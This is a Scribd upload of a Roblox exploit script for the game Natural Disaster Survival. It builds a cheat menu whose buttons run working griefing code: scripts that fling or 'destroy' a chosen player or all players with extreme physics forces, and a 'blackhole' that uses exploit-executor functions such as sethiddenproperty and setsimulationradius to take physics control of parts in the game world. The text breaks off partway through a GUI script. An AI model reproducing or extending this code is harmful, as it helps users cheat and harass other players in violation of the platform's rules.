0% found this document useful (0 votes)
79 views21 pages

Script

The document outlines a script for a Roblox GUI setup, including various UI elements such as frames, buttons, and scripts for functionality. It includes a drag feature for the GUI and multiple buttons with associated actions like 'Fe yeet', 'Blackhole', and 'Infinite yield'. The script is designed to enhance user interaction within a game environment.

Uploaded by

limqiqcs
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
79 views21 pages

Script

The document outlines a script for a Roblox GUI setup, including various UI elements such as frames, buttons, and scripts for functionality. It includes a drag feature for the GUI and multiple buttons with associated actions like 'Fe yeet', 'Blackhole', and 'Infinite yield'. The script is designed to enhance user interaction within a game environment.

Uploaded by

limqiqcs
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 21

--[=[

d888b db db d888888b .d888b. db db db .d8b.


88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]

-- Instances: 22 | Scripts: 9 | Modules: 0 | Tags: 0


local G2L = {};

-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui",
game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ResetOnSpawn"] = false;

-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2"]["Size"] = UDim2.new(0, 519, 0, 331);
G2L["2"]["Position"] = UDim2.new(0.09569, 0, 0.13369, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);

-- StarterGui.ScreenGui.Frame.Drag Gui Script


G2L["3"] = Instance.new("LocalScript", G2L["2"]);
G2L["3"]["Name"] = [[Drag Gui Script]];

-- StarterGui.ScreenGui.Frame.Frame
G2L["4"] = Instance.new("Frame", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["Size"] = UDim2.new(0, 519, 0, 331);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel
G2L["5"] = Instance.new("ImageLabel", G2L["4"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Image"] = [[rbxassetid://130111932458302]];
G2L["5"]["Size"] = UDim2.new(0, 519, 0, 280);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Position"] = UDim2.new(0, 0, 0.25378, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["6"] = Instance.new("TextButton", G2L["5"]);
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["TextSize"] = 14;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Text"] = [[Fe yeet]];
G2L["6"]["Position"] = UDim2.new(0.02505, 0, 0.0367, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["7"] = Instance.new("LocalScript", G2L["6"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["8"] = Instance.new("TextButton", G2L["5"]);
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["TextSize"] = 14;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[Blackhole]];
G2L["8"]["Position"] = UDim2.new(0.52408, 0, 0.0367, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["8"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["a"] = Instance.new("TextButton", G2L["5"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["TextSize"] = 14;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[Fling all]];
G2L["a"]["Position"] = UDim2.new(0.02505, 0, 0.26819, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["c"] = Instance.new("TextButton", G2L["5"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["TextSize"] = 14;
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[Super ring part]];
G2L["c"]["Position"] = UDim2.new(0.52408, 0, 0.26819, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["e"] = Instance.new("TextButton", G2L["5"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["TextSize"] = 14;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[Infinite yield]];
G2L["e"]["Position"] = UDim2.new(0.02505, 0, 0.50801, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["10"] = Instance.new("TextButton", G2L["5"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["TextSize"] = 14;
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[C00lgui revival]];
G2L["10"]["Position"] = UDim2.new(0.52408, 0, 0.50801, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["12"] = Instance.new("TextButton", G2L["5"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["TextSize"] = 14;
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[Scp 096]];
G2L["12"]["Position"] = UDim2.new(0.02505, 0, 0.72857, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["14"] = Instance.new("TextButton", G2L["5"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["TextSize"] = 14;
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[Seraphic blade]];
G2L["14"]["Position"] = UDim2.new(0.52408, 0, 0.72857, 0);

-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);

-- StarterGui.ScreenGui.Frame.Frame.TextLabel
G2L["16"] = Instance.new("TextLabel", G2L["4"]);
G2L["16"]["TextWrapped"] = true;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextScaled"] = true;
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Bold, Enum.FontStyle.Italic);
G2L["16"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["RichText"] = true;
G2L["16"]["Size"] = UDim2.new(0, 519, 0, 84);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[Natural Disaster Survival scripts fr]];

-- StarterGui.ScreenGui.Frame.Drag Gui Script


local function C_3()
local script = G2L["3"];
function dragify(Main)
dragToggle = nil
dragSpeed = 0.95 -- You can edit this.
dragInput = nil
dragStart = nil
dragPos = nil

function updateInput(input)
Delta = input.Position - dragStart
Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X,
startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Main, TweenInfo.new(.25), {Position =
Position}):Play()
end

Main.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = Main.Position
input.Changed:Connect(function()
if (input.UserInputState == Enum.UserInputState.End) then
dragToggle = false
end
end)
end
end)

Main.InputChanged:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)

game:GetService("UserInputService").InputChanged:Connect(function(input)
if (input == dragInput and dragToggle) then
updateInput(input)
end
end)
end

dragify(script.Parent)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_7()
local script = G2L["7"];
script.Parent.MouseButton1Click:Connect(function()
local lp = game:FindService("Players").LocalPlayer

local function gplr(String)


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in pairs(game:FindService("Players"):GetPlayers())
do
table.insert(Found,v)
end
elseif strl == "others" then
for i,v in pairs(game:FindService("Players"):GetPlayers())
do
if v.Name ~= lp.Name then
table.insert(Found,v)
end
end
elseif strl == "me" then
for i,v in pairs(game:FindService("Players"):GetPlayers())
do
if v.Name == lp.Name then
table.insert(Found,v)
end
end
else
for i,v in pairs(game:FindService("Players"):GetPlayers())
do
if v.Name:lower():sub(1, #String) == String:lower()
then
table.insert(Found,v)
end
end
end
return Found
end

local function notif(str,dur)


game:FindService("StarterGui"):SetCore("SendNotification", {
Title = "yeet gui",
Text = str,
Icon = "rbxassetid://2005276185",
Duration = dur or 3
})
end

--// sds

local h = Instance.new("ScreenGui")
local Main = Instance.new("ImageLabel")
local Top = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local TextButton = Instance.new("TextButton")

h.Name = "h"
h.Parent = game:GetService("CoreGui")
h.ResetOnSpawn = false

Main.Name = "Main"
Main.Parent = h
Main.Active = true
Main.Draggable = true
Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0)
Main.Size = UDim2.new(0, 454, 0, 218)
Main.Image = "rbxassetid://2005276185"

Top.Name = "Top"
Top.Parent = Main
Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57)
Top.BorderSizePixel = 0
Top.Size = UDim2.new(0, 454, 0, 44)

Title.Name = "Title"
Title.Parent = Top
Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
Title.BorderSizePixel = 0
Title.Position = UDim2.new(0, 0, 0.295454562, 0)
Title.Size = UDim2.new(0, 454, 0, 30)
Title.Font = Enum.Font.SourceSans
Title.Text = "FE Yeet Gui (trollface edition)"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextScaled = true
Title.TextSize = 14.000
Title.TextWrapped = true

TextBox.Parent = Main
TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0)
TextBox.Size = UDim2.new(0, 388, 0, 62)
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderText = "Who do i destroy(can be shortened)"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextScaled = true
TextBox.TextSize = 14.000
TextBox.TextWrapped = true

TextButton.Parent = Main
TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0)
TextButton.Size = UDim2.new(0, 359, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Cheese em'"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true

TextButton.MouseButton1Click:Connect(function()
local Target = gplr(TextBox.Text)
if Target[1] then
Target = Target[1]

local Thrust = Instance.new('BodyThrust',


lp.Character.HumanoidRootPart)
Thrust.Force = Vector3.new(9999,9999,9999)
Thrust.Name = "YeetForce"
repeat
lp.Character.HumanoidRootPart.CFrame =
Target.Character.HumanoidRootPart.CFrame
Thrust.Location =
Target.Character.HumanoidRootPart.Position
game:FindService("RunService").Heartbeat:wait()
until not Target.Character:FindFirstChild("Head")
else
notif("Invalid player")
end
end)

--//fsddfsdf
notif("Loaded successfully! Created by scuba#0001", 5)
end)
end;
task.spawn(C_7);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
local Folder = Instance.new("Folder", game:GetService("Workspace"))
local Part = Instance.new("Part", Folder)
local Attachment1 = Instance.new("Attachment", Part)
Part.Anchored = true
Part.CanCollide = false
Part.Transparency = 1
local Updated = Mouse.Hit + Vector3.new(0, 5, 0)
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while game:GetService("RunService").RenderStepped:Wait() do
for _, Players in next,
game:GetService("Players"):GetPlayers() do
if Players ~= game:GetService("Players").LocalPlayer
then
Players.MaximumSimulationRadius = 0
sethiddenproperty(Players, "SimulationRadius",
0)
end
end

game:GetService("Players").LocalPlayer.MaximumSimulationRadius =
math.pow(math.huge,math.huge)
setsimulationradius(math.huge)
end
end)
coroutine.resume(NetworkAccess)
local function ForcePart(v)
if v:IsA("Part") and v.Anchored == false and
v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") ==
nil and v.Name ~= "Handle" then
Mouse.TargetFilter = v
for _, x in next, v:GetChildren() do
if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce")
or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or
x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
x:Destroy()
end
end
if v:FindFirstChild("Attachment") then
v:FindFirstChild("Attachment"):Destroy()
end
if v:FindFirstChild("AlignPosition") then
v:FindFirstChild("AlignPosition"):Destroy()
end
if v:FindFirstChild("Torque") then
v:FindFirstChild("Torque"):Destroy()
end
v.CanCollide = false
local Torque = Instance.new("Torque", v)
Torque.Torque = Vector3.new(100000, 100000, 100000)
local AlignPosition = Instance.new("AlignPosition", v)
local Attachment2 = Instance.new("Attachment", v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce = 9999999999999999
AlignPosition.MaxVelocity = math.huge
AlignPosition.Responsiveness = 200
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
end
end
for _, v in next, game:GetService("Workspace"):GetDescendants() do
ForcePart(v)
end
game:GetService("Workspace").DescendantAdded:Connect(function(v)
ForcePart(v)
end)
UserInputService.InputBegan:Connect(function(Key, Chat)
if Key.KeyCode == Enum.KeyCode.E and not Chat then
Updated = Mouse.Hit + Vector3.new(0, 5, 0)
end
end)
spawn(function()
while game:GetService("RunService").RenderStepped:Wait() do
Attachment1.WorldCFrame = Updated
end
end)
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
script.Parent.MouseButton1Click:Connect(function()
local Targets = {"All"} -- "All", "Target Name", "arian_was_here"

local Players = game:GetService("Players")


local Player = Players.LocalPlayer

local AllBool = false

local GetPlayer = function(Name)


Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then
table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others"
then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name)
then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
game:GetService("StarterGui"):SetCore("SendNotification", {Title
= _Title, Text = _Text, Duration = Time})
end

local SkidFling = function(TargetPlayer)


local Character = Player.Character
local Humanoid = Character and
Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart

local TCharacter = TargetPlayer.Character


local THumanoid
local TRootPart
local THead
local Accessory
local Handle

if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end

if Character and Humanoid and RootPart then


if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
return Message("Error Occurred", "Targeting is
sitting", 5) -- u can remove dis part if u want lol
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end

local FPos = function(BasePart, Pos, Ang)


RootPart.CFrame = CFrame.new(BasePart.Position) * Pos
* Ang

Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)


RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end

local SFBasePart = function(BasePart)


local TimeToWait = 2
local Time = tick()
local Angle = 0

repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100

FPos(BasePart, CFrame.new(0, 1.5,


0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(2.25,
1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(-2.25, -
1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, 1.5,


0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5,
THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


-THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, 1.5,


THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, 1.5,


TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


-TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, 1.5,


TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


0), CFrame.Angles(0, 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -
1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()

FPos(BasePart, CFrame.new(0, -1.5,


0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or
BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not
TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or
tick() > Time + TimeToWait
end

local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)

Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,
false)

if TRootPart and THead then


if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude >
5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle
then
SFBasePart(Handle)
else
return Message("Error Occurred", "Target is missing
everything", 5)
end

BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,
true)
workspace.CurrentCamera.CameraSubject = Humanoid

repeat
RootPart.CFrame = getgenv().OldPos *
CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos *
CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity =
Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude <
25

else
return Message("Error Occurred", "Random error", 5)
end
end

if not Welcome then Message("Script by AnthonyIsntHere", "Enjoy!", 5)


end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else
return end

if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end

for _,x in next, Targets do


if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
Message("Error Occurred", "This user is whitelisted!
(Owner)", 5)
end
elseif not GetPlayer(x) and not AllBool then
Message("Error Occurred", "Username Invalid", 5)
end
end
end)
end;
task.spawn(C_b);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_d()
local script = G2L["d"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local SoundService = game:GetService("SoundService")
local StarterGui = game:GetService("StarterGui")
local TextChatService = game:GetService("TextChatService")

local LocalPlayer = Players.LocalPlayer

-- Sound Effects
local function playSound(soundId)
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. soundId
sound.Parent = SoundService
sound:Play()
sound.Ended:Connect(function()
sound:Destroy()
end)
end

-- Play initial sound


playSound("2865227271")

-- GUI Creation
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SuperRingPartsGUI"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = LocalPlayer:WaitForChild("PlayerGui")

local MainFrame = Instance.new("Frame")


MainFrame.Size = UDim2.new(0, 220, 0, 190)
MainFrame.Position = UDim2.new(0.5, -110, 0.5, -95)
MainFrame.BackgroundColor3 = Color3.fromRGB(205, 170, 125) -- Light
brown
MainFrame.BorderSizePixel = 0
MainFrame.Parent = ScreenGui

-- Make the GUI round


local UICorner = Instance.new("UICorner")
UICorner.CornerRadius = UDim.new(0, 20)
UICorner.Parent = MainFrame

local Title = Instance.new("TextLabel")


Title.Size = UDim2.new(1, 0, 0, 40)
Title.Position = UDim2.new(0, 0, 0, 0)
Title.Text = "Super Ring Parts v3"
Title.TextColor3 = Color3.fromRGB(101, 67, 33) -- Dark brown
Title.BackgroundColor3 = Color3.fromRGB(222, 184, 135) -- Lighter brown
Title.Font = Enum.Font.Fondamento -- More elegant font
Title.TextSize = 22
Title.Parent = MainFrame

-- Round the title


local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 20)
TitleCorner.Parent = Title
local ToggleButton = Instance.new("TextButton")
ToggleButton.Size = UDim2.new(0.8, 0, 0, 35)
ToggleButton.Position = UDim2.new(0.1, 0, 0.3, 0)
ToggleButton.Text = "Ring Parts Off"
ToggleButton.BackgroundColor3 = Color3.fromRGB(160, 82, 45) -- Sienna
ToggleButton.TextColor3 = Color3.fromRGB(255, 248, 220) -- Cornsilk
ToggleButton.Font = Enum.Font.Fondamento
ToggleButton.TextSize = 18
ToggleButton.Parent = MainFrame

-- Round the toggle button


local ToggleCorner = Instance.new("UICorner")
ToggleCorner.CornerRadius = UDim.new(0, 10)
ToggleCorner.Parent = ToggleButton

local DecreaseRadius = Instance.new("TextButton")


DecreaseRadius.Size = UDim2.new(0.2, 0, 0, 35)
DecreaseRadius.Position = UDim2.new(0.1, 0, 0.6, 0)
DecreaseRadius.Text = "<"
DecreaseRadius.BackgroundColor3 = Color3.fromRGB(139, 69, 19) -- Saddle
brown
DecreaseRadius.TextColor3 = Color3.fromRGB(255, 248, 220) -- Cornsilk
DecreaseRadius.Font = Enum.Font.Fondamento
DecreaseRadius.TextSize = 18
DecreaseRadius.Parent = MainFrame

-- Round the decrease button


local DecreaseCorner = Instance.new("UICorner")
DecreaseCorner.CornerRadius = UDim.new(0, 10)
DecreaseCorner.Parent = DecreaseRadius

local IncreaseRadius = Instance.new("TextButton")


IncreaseRadius.Size = UDim2.new(0.2, 0, 0, 35)
IncreaseRadius.Position = UDim2.new(0.7, 0, 0.6, 0)
IncreaseRadius.Text = ">"
IncreaseRadius.BackgroundColor3 = Color3.fromRGB(139, 69, 19) -- Saddle
brown
IncreaseRadius.TextColor3 = Color3.fromRGB(255, 248, 220) -- Cornsilk
IncreaseRadius.Font = Enum.Font.Fondamento
IncreaseRadius.TextSize = 18
IncreaseRadius.Parent = MainFrame

-- Round the increase button


local IncreaseCorner = Instance.new("UICorner")
IncreaseCorner.CornerRadius = UDim.new(0, 10)
IncreaseCorner.Parent = IncreaseRadius

local RadiusDisplay = Instance.new("TextLabel")


RadiusDisplay.Size = UDim2.new(0.4, 0, 0, 35)
